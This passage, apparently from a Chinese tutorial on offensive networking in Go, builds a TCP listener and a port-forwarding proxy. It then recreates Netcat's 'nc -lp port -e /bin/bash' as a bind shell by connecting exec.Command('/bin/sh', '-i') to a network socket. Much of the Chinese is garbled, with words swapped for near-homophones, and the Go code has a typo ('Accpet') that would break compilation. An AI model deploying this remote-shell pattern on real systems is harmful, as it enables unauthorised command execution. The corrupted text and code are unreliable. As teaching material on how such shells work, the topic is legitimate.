通过上述的流程,咱们就能够简略了解示例程序了
func main() { // 在所有接口上绑定TCP端口20080,启动监听服务 listener, err := net.Listen("tcp", ":20080") // 判断监听服务是否启动,否则抛出异样 if err != nil { log.Fatalln("Unable to Bind to port") } // 打印语句,胜利监听 log.Println("Listening on localhost:20080") // 有限循环,期待客户端进行连贯 for { // 期待连贯,创立与返回net.Conn conn, err := listener.Accpet() log.Println("Reveived connection") if err != nil { log.Fatalln("Unable to accept connection") } // 解决连贯,应用goroutine实现并发 go handle(conn) }}
代理TCP客户端
func handle(src net.Conn) { dst, err := net.Dial("tcp", "targethost:80") if err != nil { log.Fatalln("Unable to connect to host") } defer dst.Close() go func() { // 将源的输入复制到指标 // io.Copy(dst Writer, src Reader) // 将Reader读取到的数据复制到Writer if _, err := io.Copy(dst, src); err != nil { log.Fatalln(err) } }() // 将指标的输入复制回源 if _, err := io.Copy(src, dst); err != nil{ log.Fatalln(err) }}
复现Netcat命令执行
Netcat,命令行网络工具,用来在两台机器之间建设TCP/UDP连贯,相比Telnet更灵便且能够编写脚本
"平安巨洞"
nc -lp port -e /bin/bash// 命令在port端口创立一个监听器,任何可能通过Telnet连贯的近程客户端都能够执行任意bash命令// Netcat容许在程序编译期间依据须要增加此性能
Go:os/exec包
能够运行操作系统命令定义了一种名为Cmd的类型,蕴含运行命令以及操作stdin(Reader)和stdout(Writer)所需的办法和属性
创立实例
// Command(name string, arg...string)cmd := exec.Command("/bin/sh", "-i")
Reader和Writer赋给Cmd
cmd.Stdin = conncmd.Stdout = conn
应用cmd.Run运行命令
if err := cmd.Run(); err != nil { // 解决异样}
io.Pipe()
该函数是Go的同步内存管道,可用于连贯Reader和Writer
func Pipe() (*PipeReader, *PipeWriter)
应用PipeReader和PipeWriter能够防止显示刷新writer并同步连贯stdout和TCP连贯